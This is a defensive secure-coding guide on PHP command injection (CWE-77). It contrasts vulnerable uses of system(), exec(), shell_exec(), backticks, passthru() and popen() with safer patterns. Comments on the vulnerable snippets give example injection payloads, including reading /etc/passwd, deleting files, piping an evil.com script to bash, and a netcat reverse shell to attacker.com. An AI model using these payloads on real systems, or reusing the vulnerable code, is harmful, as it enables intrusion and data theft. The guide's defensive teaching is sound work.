CWE-77: Command Injection - PHP
Overview
Command injection in PHP occurs when applications construct system commands using untrusted input. PHP provides multiple functions that can execute shell commands, all of which are vulnerable when used with unsanitized user input.
Primary Defence: Avoid shell execution functions (system(), exec(), shell_exec(), backticks) entirely; use PHP built-in functions or libraries for specific tasks instead, if shell execution is unavoidable use escapeshellarg() and escapeshellcmd() properly for each argument, validate all user input against strict allowlists, and use proc_open() with explicit argument arrays to prevent command injection attacks.
Common Vulnerable Patterns
system() with User Input
<?php
// VULNERABLE - system() executes via shell
$ip = $_GET['ip'];
system('ping -c 4 ' . $ip);
// Attack: ip=8.8.8.8; cat /etc/passwd
// Executes: ping -c 4 8.8.8.8; cat /etc/passwd
exec() with String Concatenation
<?php
// VULNERABLE - exec() uses shell
$filename = $_POST['file'];
exec('ls -la ' . $filename, $output);
// Attack: file=test.txt && rm -rf /tmp/*
// Executes: ls -la test.txt && rm -rf /tmp/*
shell_exec() with User Data
<?php
// VULNERABLE - shell_exec() always uses shell
$domain = $_REQUEST['domain'];
$result = shell_exec('nslookup ' . $domain);
// Attack: domain=example.com || whoami
// Executes: nslookup example.com || whoami
Backtick Operator
<?php
// VULNERABLE - Backticks invoke shell
$host = $_GET['host'];
$output = `ping -c 4 $host`;
// Attack: host=8.8.8.8; curl http://evil.com/shell.sh | bash
passthru() Function
<?php
// VULNERABLE - passthru() executes and outputs directly
$file = $_POST['file'];
passthru('cat ' . $file);
// Attack: file=/etc/passwd; wget http://evil.com/backdoor
popen() Function
<?php
// VULNERABLE - popen() opens process with shell
$command = $_GET['cmd'];
$handle = popen('echo ' . $command, 'r');
// Attack: cmd=test && nc -e /bin/bash attacker.com 1234
Secure Patterns
Use PHP Native Functions (Primary Defense)
<?php
// SECURE - Use PHP built-in functions instead of shell commands
// Instead of: system('ping ' . $host)
function isHostReachable($hostname) {
// Validate hostname
if (!preg_match('/^[a-zA-Z0-9.-]+$/', $hostname)) {
throw new InvalidArgumentException('Invalid hostname');
}
// Use PHP socket functions
$socket = @fsockopen($hostname, 80, $errno, $errstr, 5);
if ($socket) {
fclose($socket);
return true;
}
return false;
}
// Instead of: exec('rm ' . $file)
function deleteFile($filename) {
// Validate filename
if (!preg_match('/^[a-zA-Z0-9_.-]+$/', $filename)) {
throw new InvalidArgumentException('Invalid filename');
}
$safePath = '/safe/directory/' . basename($filename);
// Ensure file is within safe directory
$realPath = realpath($safePath);
if (strpos($realPath, '/safe/directory/') !== 0) {
throw new InvalidArgumentException('Path traversal attempt');
}
unlink($safePath);
}
// Instead of: shell_exec('curl ' . $url)
function fetchUrl($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
// Instead of: exec('tar -czf archive.tar.gz ' . $files)
function createArchive($files) {
$zip = new ZipArchive();
$zip->open('archive.zip', ZipArchive::CREATE);
foreach ($files as $file) {
// Validate each filename
if (!preg_match('/^[a-zA-Z0-9_./-]+$/', $file)) {
continue;
}
$zip->addFile($file, basename($file));
}
$zip->close();
}
Why this works:
- Native PHP functions eliminate shell execution:
fsockopen()creates TCP connections,unlink()uses syscalls,curl_exec()uses libcurl,ZipArchiveuses zlib - No attack surface for shell metacharacters: Bypassing shell removes risk of
;,&,|, backticks,$(), newlines - Regex validation provides defense-in-depth: Pattern blocks command separators and path traversal
basename()+ path sanitization prevents traversal:realpath()+ prefix check ensures files stay in/safe/directory/- Path canonicalization resolves symlinks:
realpath()resolves..sequences and symlinks before validation - Built-in extensions are maintained and cross-platform: Avoids shell-specific escaping differences across bash/sh/dash/zsh and Linux/Windows
escapeshellarg() and escapeshellcmd()
<?php
// SECURE - Use escapeshellarg() for arguments
function securePing($ipAddress) {
// Validate IP address format first
if (!filter_var($ipAddress, FILTER_VALIDATE_IP)) {
throw new InvalidArgumentException('Invalid IP address');
}
// Escape the argument
$safeIP = escapeshellarg($ipAddress);
// Execute command
$output = [];
exec("ping -c 4 $safeIP", $output, $returnCode);
return $output;
}
function secureNslookup($domain) {
// Validate domain format
if (!preg_match('/^[a-zA-Z0-9.-]+$/', $domain)) {
throw new InvalidArgumentException('Invalid domain');
}
// Escape the argument
$safeDomain = escapeshellarg($domain);
// Execute with escaped argument
$result = shell_exec("nslookup $safeDomain");
return $result;
}
// WARNING: escapeshellcmd() is NOT sufficient alone
// It escapes the entire command string but may not prevent all injections
// Always prefer escapeshellarg() for individual arguments
Why this works:
escapeshellarg()makes arguments literal: Wraps in single quotes, escapes embedded quotes, neutralizes;,&,|,$(), backticks- Pre-validation provides defense-in-depth:
filter_var()and regex reject invalid input before escaping escapeshellcmd()is insufficient: Only escapes metacharacters but allows argument injection (e.g.,-oProxyCommand=...)- Always use
escapeshellarg()per argument: Never useescapeshellcmd()for entire command string - Native functions strongly preferred: Escaping is error-prone due to encoding issues, shell quirks, future vulnerabilities
Input Validation Class
<?php
// SECURE - Comprehensive validation
class InputValidator {
public static function validateHostname($input) {
if (empty($input) || strlen($input) > 253) {
throw new InvalidArgumentException('Invalid hostname length');
}
if (!preg_match('/^[a-zA-Z0-9.-]+$/', $input)) {
throw new InvalidArgumentException('Invalid hostname format');
}
return $input;
}
public static function validateIPAddress($input) {
if (!filter_var($input, FILTER_VALIDATE_IP)) {
throw new InvalidArgumentException('Invalid IP address');
}
return $input;
}
public static function validateFilename($input) {
if (empty($input)) {
throw new InvalidArgumentException('Empty filename');
}
// Check for path traversal
if (strpos($input, '..') !== false ||
strpos($input, '/') !== false ||
strpos($input, '\\') !== false) {
throw new InvalidArgumentException('Path traversal attempt');
}
if (!preg_match('/^[a-zA-Z0-9_.-]+$/', $input)) {
throw new InvalidArgumentException('Invalid filename format');
}
return $input;
}
public static function validateNumber($input) {
if (!preg_match('/^[0-9]+$/', $input)) {
throw new InvalidArgumentException('Invalid number format');
}
return intval($input);
}
}
Why this works:
- Centralized validation ensures consistency: All code paths enforce same strict rules, preventing weak validation
- Allowlist regex blocks all metacharacters:
^[a-zA-Z0-9.-]+$permits only safe characters filter_var()handles IP edge cases: Correctly validates IPv4, IPv6, leading zeros, octal notation- Path traversal detection: Checks for
..,/,\prevent directory traversal attacks - Length limits prevent buffer overflow/DoS: Hostname ≤ 253 chars per RFC 1035
- Fail-closed behavior: Exceptions reject suspicious input rather than attempting error-prone sanitization
proc_open() with Explicit Arguments
<?php
// SECURE - proc_open() with argument array
function executeCommandSafely($command, $args) {
// Allowlist of permitted commands
$allowedCommands = [
'ping' => '/bin/ping',
'nslookup' => '/usr/bin/nslookup',
'dig' => '/usr/bin/dig'
];
if (!isset($allowedCommands[$command])) {
throw new InvalidArgumentException('Command not allowed');
}
// Build command array
$cmd = [$allowedCommands[$command]];
foreach ($args as $arg) {
$cmd[] = $arg;
}
// Descriptors for stdin, stdout, stderr
$descriptors = [
0 => ['pipe', 'r'], // stdin
1 => ['pipe', 'w'], // stdout
2 => ['pipe', 'w'] // stderr
];
// Execute without shell
$process = proc_open($cmd, $descriptors, $pipes);
if (!is_resource($process)) {
throw new RuntimeException('Failed to start process');
}
// Close stdin
fclose($pipes[0]);
// Read stdout
$output = stream_get_contents($pipes[1]);
fclose($pipes[1]);
// Read stderr
$errors = stream_get_contents($pipes[2]);
fclose($pipes[2]);
// Close process
$returnCode = proc_close($process);
return [
'output' => $output,
'errors' => $errors,
'returnCode' => $returnCode
];
}
// Usage:
try {
$ip = InputValidator::validateIPAddress($_GET['ip']);
$result = executeCommandSafely('ping', ['-c', '4', $ip]);
echo $result['output'];
} catch (Exception $e) {
http_response_code(400);
echo 'Error: ' . htmlspecialchars($e->getMessage());
}
Why this works:
- Array bypasses shell:
proc_open()with array (not string) invokes executable directly viafork()/exec()- shell metacharacters (;,&,|,$()) treated as literals - Command allowlist:
$allowedCommandsrestricts to pre-approved binaries with absolute paths (/bin/ping), preventing PATH manipulation - Descriptor configuration:
$descriptorsredirects stdin/stdout/stderr to pipes for safe capture without shell redirection (>,2>&1) - Stream safety:
stream_get_contents($pipes[1])captures output without memory exhaustion risk; error separation enables logging without info disclosure - Superior to shell functions:
system()/exec()/shell_exec()always invoke shell, making them inherently vulnerable even with escaping
File Operations
<?php
// VULNERABLE
$file = $_POST['file'];
system('cat ' . $file);
// SECURE - Use PHP file functions
function readFileSafely($filename) {
$filename = InputValidator::validateFilename($filename);
$safePath = '/safe/directory/' . $filename;
$realPath = realpath($safePath);
// Verify path is within safe directory
if (strpos($realPath, '/safe/directory/') !== 0) {
throw new InvalidArgumentException('Invalid file path');
}
return file_get_contents($safePath);
}
Why this works:
file_get_contents()operates at filesystem API level: No shell invocation, no metacharacter interpretationbasename()strips directory components: Prevents../../etc/passwdpath traversal attacksrealpath()canonicalizes paths: Resolves symlinks,.,..sequences to absolute path- Prefix check ensures directory containment: Validates final path stays in
/safe/directory/after symlink resolution - Input validation provides defense-in-depth: Rejects filenames with path separators or traversal sequences
- Safer than shell commands: Avoids escaping complexity and special filename handling (e.g.,
-interpreted as flags)
Image Processing
<?php
// VULNERABLE
$image = $_FILES['image']['tmp_name'];
exec('convert ' . $image . ' thumbnail.jpg');
// SECURE - Use GD or Imagick extension
function createThumbnail($imagePath) {
// Validate image
$imageInfo = getimagesize($imagePath);
if ($imageInfo === false) {
throw new InvalidArgumentException('Invalid image');
}
// Create thumbnail using GD
$source = imagecreatefromjpeg($imagePath);
$thumbnail = imagescale($source, 128, 128);
imagejpeg($thumbnail, 'thumbnail.jpg');
imagedestroy($source);
imagedestroy($thumbnail);
}
Why this works:
- GD and Imagick process images via native C libraries: Operations happen in memory through function calls, not shell commands
getimagesize()validates legitimate images: Parses headers, rejects non-image files with potential shell payloadsimagecreatefromjpeg()uses libjpeg: Image decoding has no concept of shell syntaximagescale()performs pixel resampling: Mathematical operations on image array, not external program invocation- Avoids ImageMagick CLI vulnerabilities: ImageTragick (CVE-2016-3714) showed risks of shell-based image processing
- Resource cleanup prevents exhaustion:
imagedestroy()frees memory properly
Network Operations
<?php
// VULNERABLE
$host = $_GET['host'];
exec('curl https://' . $host . '/api');
// SECURE - Use cURL extension
function fetchApiData($hostname) {
$hostname = InputValidator::validateHostname($hostname);
$url = 'https://' . $hostname . '/api';
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 10,
CURLOPT_FOLLOWLOCATION => false,
CURLOPT_SSL_VERIFYPEER => true
]);
$result = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($httpCode !== 200) {
throw new RuntimeException('HTTP request failed');
}
return $result;
}
Why this works:
- No shell invocation: libcurl uses direct socket connections - URL parsed programmatically, so shell metacharacters have no special meaning
- Data parameter:
curl_init()treats URL as data (not command string); options configure behavior without shell interpretation - Security options:
RETURNTRANSFERcaptures in memory;TIMEOUTprevents hangs;FOLLOWLOCATION = falseblocks redirects to internal services;SSL_VERIFYPEERprevents MitM - SSRF prevention: Hostname validation enforces allowed domains, blocking requests to internal services (Redis at localhost:6379) or cloud metadata (169.254.169.254)
- Safer than shell curl: Eliminates risks from
-oflag (arbitrary file writes like/var/www/html/backdoor.php) and--data-binary @(file exfiltration)
Archive Creation
<?php
// VULNERABLE
$files = $_POST['files'];
shell_exec('zip archive.zip ' . $files);
// SECURE - Use ZipArchive class
function createZipArchive($fileList) {
$zip = new ZipArchive();
if ($zip->open('archive.zip', ZipArchive::CREATE) !== true) {
throw new RuntimeException('Failed to create archive');
}
foreach ($fileList as $file) {
$safeName = InputValidator::validateFilename($file);
if (file_exists($safeName)) {
$zip->addFile($safeName, basename($safeName));
}
}
$zip->close();
}
Why this works:
- No shell invocation:
ZipArchiveuses libzip library directly - shell metacharacters in filenames treated as literals, not command syntax - Per-file validation: Foreach loop allows
InputValidator::validateFilename()to reject path traversal (../../etc/passwd) or special characters - Zip slip prevention:
basename()ensures files stored in archive root without directory structure, preventing extraction outside intended directory - Safety verification:
file_exists()prevents errors and information disclosure about filesystem structure - Dramatically safer: Avoids shell-based
zip/tarvulnerabilities (argument injection, filename exploitation with-flags, command chaining)
Laravel Framework Example
<?php
// VULNERABLE Laravel controller
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class DiagnosticsController extends Controller
{
public function ping(Request $request)
{
// VULNERABLE
$ip = $request->input('ip');
$output = shell_exec('ping -c 4 ' . $ip);
return response($output);
}
}
// SECURE Laravel controller
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use Symfony\Component\Process\Process;
use Symfony\Component\Process\Exception\ProcessFailedException;
class DiagnosticsController extends Controller
{
public function ping(Request $request)
{
// Validate input
$request->validate([
'ip' => 'required|ip'
]);
$ip = $request->input('ip');
// Use Symfony Process component (included with Laravel)
$process = new Process(['ping', '-c', '4', $ip]);
$process->setTimeout(10);
try {
$process->mustRun();
return response($process->getOutput());
} catch (ProcessFailedException $e) {
return response('Ping failed', 500);
}
}
}
WordPress Plugin Example
<?php
// VULNERABLE WordPress code
add_action('admin_post_run_diagnostic', function() {
$host = $_POST['host'];
$result = shell_exec('ping -c 4 ' . $host);
echo $result;
});
// SECURE WordPress code
add_action('admin_post_run_diagnostic', function() {
// Verify nonce
check_admin_referer('diagnostic_nonce');
// Sanitize and validate
$host = sanitize_text_field($_POST['host']);
if (!filter_var($host, FILTER_VALIDATE_IP)) {
wp_die('Invalid IP address');
}
// Use validated input with escapeshellarg
$safeHost = escapeshellarg($host);
$output = [];
exec("ping -c 4 $safeHost", $output);
echo esc_html(implode("\n", $output));
});
Verification
After implementing the recommended secure patterns, verify the fix through multiple approaches:
- Manual testing: Submit malicious payloads relevant to this vulnerability and confirm they're handled safely without executing unintended operations
- Code review: Confirm all instances use the secure pattern (parameterized queries, safe APIs, proper encoding) with no string concatenation or unsafe operations
- Static analysis: Use security scanners to verify no new vulnerabilities exist and the original finding is resolved
- Regression testing: Ensure legitimate user inputs and application workflows continue to function correctly
- Edge case validation: Test with special characters, boundary conditions, and unusual inputs to verify proper handling
- Framework verification: If using a framework or library, confirm the recommended APIs are used correctly according to documentation
- Authentication/session testing: Verify security controls remain effective and cannot be bypassed (if applicable to the vulnerability type)
- Rescan: Run the security scanner again to confirm the finding is resolved and no new issues were introduced